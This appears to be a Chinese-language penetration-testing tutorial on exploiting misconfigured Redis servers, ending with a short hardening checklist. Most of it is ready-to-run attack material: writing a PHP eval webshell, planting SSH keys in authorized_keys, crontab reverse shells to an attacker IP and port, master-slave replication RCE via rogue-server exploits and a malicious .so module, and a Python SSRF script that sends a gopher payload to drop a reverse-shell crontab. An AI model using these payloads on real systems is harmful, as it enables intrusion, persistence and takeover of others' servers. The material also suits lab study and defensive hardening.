滲透測試-31:Redis
基礎知識
-
埠號
:6379 -
sentinel.conf 埠號
:26379 -
官網:https://redis.io/docs/getting-started/installation/install-redis-on-windows/
-
Kali 安裝 redis
# 解除安裝 apt-get purge --auto-remove redis-server # 安裝 apt install gcc make wget http://download.redis.io/releases/redis-3.2.0.tar.gz tar -zxvf redis-3.2.0.tar.gz rm redis-3.2.0.tar.gz cd redis-3.2.0/ make # 配置 vim redis.conf bind 127.0.0.1 # 註釋這行語句,代表任意機器都可以登入 redis protected-mode # 設為 no,代表關閉安全設定 cp redis.conf ./src/redis.conf ./src/redis-server redis.conf # 啟動redis-server export PATH=/root/Desktop/redis-3.2.0/src:$PATH # 新增環境變數 netstat -ntulp # 檢查服務
-
Ubuntu for Windows 安裝 redis
apt-add-repository ppa:redislabs/redis apt-get update apt-get upgrade apt-get install redis-server service redis-server start # 測試 redis-cli 127.0.0.1:6379> ping PONG
-
連線 Redis 伺服器
# 互動式方式 redis-cli -h <host> -p <port> # 命令方式 redis-cli -h <host> -p <port> <command>
-
常見命令
# 檢視資訊 info # 刪除所有資料庫內容 flushall # 重新整理資料庫 flushdb # 檢視所有鍵,使用 select num 可以檢視鍵值資料 keys * # 設定變數 set test "who am i" # 設定路徑等配置 config set dir dirpath # 獲取路徑及資料配置資訊 config get dir/dbfilename # 儲存 save # 變數,檢視變數名稱 get
Redis未授權訪問
未授權訪問原因
- 配置登入策略導致任意機器都可以登入 redis
- 未設定密碼或者設定弱口令
測試
# 使用攻擊機遠端登入 redis 伺服器 redis-cli -h <redis伺服器IP>
寫入檔案getshell
-
利用條件:
- 未授權訪問或密碼已知
- 伺服器開啟 WEB 服務且 WEB 目錄路徑已知
-
寫入 webshell
# 切換目錄到網站的根目錄 config set dir /var/www/html/ # 寫入惡意程式碼到記憶體中(1) set x "\n\n\n<?php @eval($_POST['cmd']);?>\n\n\n" # 寫入惡意程式碼到記憶體中(2) set xx "\n\n\n<?php phpinfo();?>\n\n\n" # 在磁碟中生成木馬檔案 config set dbfilename shell.php # 將記憶體之中的資料匯出到磁碟檔案 save
-
檢查 webshell
-
kali 開啟 apache
# 修改 apache2 預設監聽埠號為 8080 vim /etc/apache2/ports.conf # 在終端輸入 /etc/init.d/apache2 start
-
測試:在瀏覽器中訪問 <redis 伺服器IP>:8080/shell.php,成功回顯 phpinfo 後用蟻劍進行連線
-
寫入SSH公鑰遠端連線
-
利用條件:
- redis 以 root 身份執行
- 未授權訪問或密碼已知
- 伺服器開放 SSH 服務且允許金鑰登入
-
redis 伺服器開啟 ssh 服務
/etc/init.d/ssh start service ssh status
-
修改 redis 伺服器密碼
# 登入 redis 伺服器 redis-cli -h <redis伺服器IP> # 修改密碼 config set requirepass <密碼> exit # 測試登入 redis 伺服器 redis-cli -h <redis伺服器IP> -a <密碼>
-
攻擊機生成 ssh-rsa 密匙
ssh-keygen -t rsa
-
將攻擊機的 ssh 金鑰寫入到 redis 伺服器的記憶體
# 匯出 key(\n\n是為了防止亂碼) (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt # 將生成的公鑰寫入 redis 伺服器的記憶體之中 cat key.txt | redis-cli -h <redis伺服器IP> -a <密碼> -x set xxx # 測試 redis-cli -h <redis伺服器IP> -a <密碼> keys * get xxx
-
redis 伺服器將記憶體中的 ssh 金鑰匯出檔案到磁碟(本質是更改 redis 的備份路徑)
# 若 /root/.ssh 不存在會顯示失敗 config set dir /root/.ssh # 設定檔名(不能改成其他的)並匯出 config set dbfilename authorized_keys save
-
攻擊機登入 redis 伺服器的 ssh
# 連線 ssh -i /root/.ssh/id_rsa root@<redis伺服器IP> yes # 測試 ifconfig
計劃任務反彈shell
-
利用條件:
- redis 以 root 身份執行
- 未授權訪問或密碼已知
-
攻擊端開啟監聽
nc -lvp <PORT>
-
寫入一句話
# 每分鐘執行一次 set xx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/<攻擊機IP>/<PORT> 0>&1\n\n" # 設定匯出的路徑 config set dir /var/spool/cron/ # Centos系列 config set dir /var/spool/cron/crontabs/ # Debian/Ubuntu系列 # 設定匯出檔名為 root config set dbfilename root # 儲存 save
或者
# 每分鐘執行一次 echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/<攻擊機IP>/<PORT> 0>&1\n\n" | redis-cli -h <redis伺服器IP> -a <密碼> -x set 1 # 設定匯出的路徑 redis-cli -h <redis伺服器IP> -a <密碼> config set dir /var/spool/cron/ # Centos系列 redis-cli -h <redis伺服器IP> -a <密碼> config set dir /var/spool/crontabs/ # Debian/Ubuntu系列 # 設定匯出檔名為 root redis-cli -h <redis伺服器IP> -a <密碼> config set dbfilename root # 儲存 redis-cli -h <redis伺服器IP> -a <密碼> save
主從複製RCE
-
利用條件:
- 未授權訪問或密碼已知
- Redis <= 5.0.5
-
測試版本:
redis-4.0.0.tar.gz
-
原理:
-
未授權的 redis 會導致 getshell,而這種方式是通過寫檔案來完成 getshell 的,這種方式的主要問題在於,redis 儲存的資料並不是簡單的 json 或者是 csv,所以寫入的檔案都會有大量的無用資料,利用 crontab、ssh key、webshell 這樣的檔案都有一定容錯性,再加上 crontab 和 ssh 服務可以說是伺服器的標準的服務,所以在以前,這種通過寫入檔案的 getshell 方式基本就可以說是很通殺了。
-
但隨著現代的服務部署方式的不斷髮展,元件化成了不可逃避的大趨勢,docker 就是這股風潮下的產物之一,而在這種部署模式下,一個單一的容器中不會有除 redis 以外的任何服務存在,包括 ssh 和 crontab,再加上許可權的嚴格控制,只靠寫檔案就很難再 getshell 了,在這種情況下,我們就需要其他的利用手段了。
-
在
Redis 4.x、5.x
版本中,提供了主從模式,主從模式指使用一個 redis 作為主機,其他的作為備份機,主機從機資料都是一樣的,從機只負責讀,主機只負責寫。 -
在
Reids 4.x
之後,通過外部拓展,可以在 redis 中實現一個新的 redis 命令,構造惡意 .so 檔案。 -
在兩個 redis 例項設定主從模式的時候,redis 的主機例項可以通過 FULLRESYNC 同步檔案到從機上,然後在從機上載入惡意 .so 檔案,即可執行命令。
-
簡單的說,攻擊者(主機)寫一個so檔案,然後通過 FULLRESYNC(全域性)同步檔案到受害人(從機)上。
-
-
EXP下載:
注意:目標靶機是不能開啟保護模式
# 未授權 git clone https://github.com/n0b0dyCN/redis-rogue-server # 有密碼 git clone https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
-
反彈shell
# 攻擊機 nc -lvp <PORT> python3 redis_rogue_server.py -rhost <redis伺服器IP> -passwd <密碼> -lhost <本機IP> # 選項:i/r => <redis伺服器IP> => <PORT> => python3 -c "import pty;pty.spawn('/bin/bash')"
本地Redis主從複製RCE或反彈shell
-
測試版本:
redis-4.0.0.tar.gz
-
原理:
- 上述的原理是,目標機器的 redis 可以被遠端其他的機器登入。然後執行指令碼內寫死的一些命令,利用這些命令我們就可以執行系統命令。
- 問題來了,假如目標機器僅僅允許本地進行登入的時候,上述利用就直接暴斃。
- 這個時候,我們可以通過配合其他漏洞,從目標本地登入 redis。
- 然後手動執行指令碼內寫死的一些命令(這些命令的意思是將本機(靶機)redis 作為從機,將攻擊機器設定為主機,然後攻擊機會自動將一些惡意 so 檔案同步給目標機器(從機)),從而來實現對目標機器的遠端命令執行。
-
EXP下載:
將
redis-rogue-server/
的 exp.so 檔案複製到Awsome-Redis-Rogue-Server/
資料夾中使用,因為 exp.so 帶 system 模組# 未授權 git clone https://github.com/n0b0dyCN/redis-rogue-server # 有密碼 git clone https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
-
攻擊機配置 Redis 主從同步
# 開啟主伺服器 python3 redis_rogue_server.py -v -path exp.so # 檢視是否存在模組 module list # 一般 tmp 目錄都有寫許可權,所以選擇這個目錄寫入 config set dir /tmp # 設定匯出檔案的名字 config set dbfilename exp.so # 進行主從同步,將惡意 so 檔案寫入到 /tmp slaveof <攻擊機IP> 15000 slaveof <redis伺服器IP> 15000 # 可看到主伺服器上 FULLRESYNC 全域性同步資料中,將惡意的 exp.so 同步到 redis 伺服器上 # 檢視是否存在模組 module list # 載入寫入的惡意 so 檔案模組 module load ./exp.so # 檢視惡意 so 有沒有載入成功,主要是有沒有 “system” module list
-
反彈shell
# 方法一 nc -lvp <PORT> system.rev <攻擊機IP> <PORT> # 方法二 system.exec "<命令>"
-
關閉主從同步
slaveof NO ONE
通過SSRF反彈shell
知識拓展
RESP協議
-
定義:
- redis 客戶端與服務端通訊,使用 RESP(Redis Serialization Protocal,redis 序列化協議)協議通訊,該協議是專門為 redis 設計的通訊協議,但也可以用於其它
客戶端-伺服器
通訊的場景。 - RESP 可以用於序列化不同的資料型別,客戶端傳送請求時,以字串陣列作為待執行命令的引數。
- 在 Redis 中,協議資料分為不同的型別,每種型別的資料均以 CRLF(\r\n 換行符)結束,通過資料的首字元區分型別。
- redis 客戶端與服務端通訊,使用 RESP(Redis Serialization Protocal,redis 序列化協議)協議通訊,該協議是專門為 redis 設計的通訊協議,但也可以用於其它
-
RESP 協議支援的資料型別:
-
內聯命令(inline command)
:這類資料表示 Redis 命令,首字元為 Redis 命令的字元,格式為str1 str2 str3 …
。如:exists key1
, 命令和引數以空格分隔。 -
簡單字串(Simple Strings)
:首字元為+
,後續字元為 string 的內容,且該 string 不能包含\r
或者\n
兩個字元,最後以\r\n
結束。如:+OK\r\n
,表示OK
這個 string 資料。 -
批量字串(Bulk Strings)
:-
bulk string
首字元為$
,緊跟著的是 string 資料的長度,\r\n
後面是內容本身(包含\r
、\n
等特殊字元),最後以\r\n
結束。如:$12\r\nhello\r\nworld\r\n
- 上面位元組串描述了
hello\r\nworld
的內容(中間有個換行)。對於" "
空串和null
,通過$
之後的數字進行區分:$0\r\n\r\n
表示空串;$-1\r\n
表示null
。
-
-
整數(Integers)
:以:
開頭,後面跟著整型內容,最後以\r\n
結尾。如::13\r\n
,表示13
的整數。 -
陣列(Arrays)
:- 以
*
開頭,緊跟著陣列的長度,\r\n
之後是每個元素的序列化資料。如:*2\r\n+abc\r\n:9\r\n
表示一個長度為2
的陣列:["abc", 9]
。陣列長度為0
或-1
分別表示空陣列
或null
。 - 陣列的元素本身也可以是陣列,多級陣列是樹狀結構,採用先序遍歷的方式序列化。如:
[[1, 2], ["abc"]]
,序列化為:*2\r\n*2\r\n:1\r\n:2\r\n*1\r\n+abc\r\n
。
- 以
- 錯誤資料(Errors)
*3 # 代表陣列的長度,如:["set","name","Toki"] $4 # 代表字串的長度,如:"Toki" 0d0a # 即 \r\n 表示 linux 的換行符 +OK # 表示服務端執行成功後返回的字串
-
Gopher協議
-
定義:在 http 出現之前,訪問網頁需要輸入的是
gopher://gopher.baidu.com/
,而不是https://www.baidu.com/
,而它被代替的原因一方面是收費,另一方面的原因是它固化的結構沒有 HTML 網頁靈活。gopher 協議支援 GET&POST 請求,常用於攻擊內網 ftp、redis、telnet、smtp 等服務,還可以利用 gopher 協議訪問 redis 反彈 shell -
協議格式:
gopher://<IP>:<port>/_<TCP/IP資料流>
,<port>
預設為70
-
協議的實現:gopher 會將後面的資料部分發送給相應的埠,這些資料可以是字串,也可以是其他的資料請求包,比如 GET、POST 請求,redis,mysql 未授權訪問等,同時資料部分必須要進行 url 編碼,這樣 gopher 協議才能正確解析。
-
支援 gopher 協議的有 curl 和 libcurl
# nc 監聽 nc -lvp <PORT> # 使用 curl 來發起 Gopher 請求 curl gopher://<IP>:<PORT>/_hello # 傳送 http get 請求,get.php 中寫入 <?php echo "Hello"." ".$_GET['name']."\n"?> curl gopher://<IP>:<PORT>/_GET%20/get.php%3fname=Toki%20HTTP/1.1%0d%0aHost:%20<IP>%0d%0a # 傳送 http post 請求,post.php 中寫入 <?php echo "Hello".$_POST['name']."\n";?> curl gopher://<IP>:<PORT>/_POST%20/post.php%20HTTP/1.1%0d%0AHost:<IP>%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0aContent-Length:11%0d%0a%0d%0aname=Toki%0d%0a
-
gopher 語句生成工具:https://github.com/tarunkant/Gopherus
gopherus --exploit redis # 選項:phpshell => /var/www/html => <?php echo "hello world"; ?>
-
線上靶場:https://buuoj.cn/
漏洞復現
-
目標靶機:
get.php
<?php $url = $_GET['url']; echo $url; #var_dump(curl_version()); $curlobj = curl_init($url); echo curl_exec($curlobj); ?>
-
攻擊機 nc 監聽
nc -lvp <PORT>
-
攻擊機執行指令碼
#!/usr/bin/python # -*- coding: UTF-8 -*- import urllib2,urllib url = "http://<目標靶機IP>/get.php?url=" gopher = "gopher://<目標靶機IP>:6379/_" # 攻擊指令碼,5 個星號代表每分鐘執行一次 data = """"set xxx "\\n* * * * * root bash -i >& /dev/tcp/<攻擊機IP>/<PORT> 0>&1\\n" config set dir /etc/ config set dbfilename crontab save """ def encoder_url(data): encoder = "" for single_char in data: # 先轉為ASCII encoder += str(hex(ord(single_char))) encoder = encoder.replace("0x","%").replace("%a","%0d%0a") return encoder # 二次編碼 encoder = encoder_url(encoder_url(data)) # 生成 payload payload = url + urllib.quote(gopher,'utf-8') + encoder # 發起請求 request = urllib2.Request(payload) response = urllib2.urlopen(request).read()
Redis全防護
Redis 的安全設定(設定完後需要重載入配置檔案啟動 redis)
- 繫結內網 IP 地址進行訪問
- requirepass 設定 redis 密碼
- 開啟保護模式 protected-mode(預設開啟)
- 修改預設埠
- 單獨為 redis 設定一個普通賬號以低許可權執行 Redis 服務
- 禁止一些高危命令
- 禁止外網訪問 Redis
- 設定防火牆策略
- 保證 authorized_keys 檔案的安全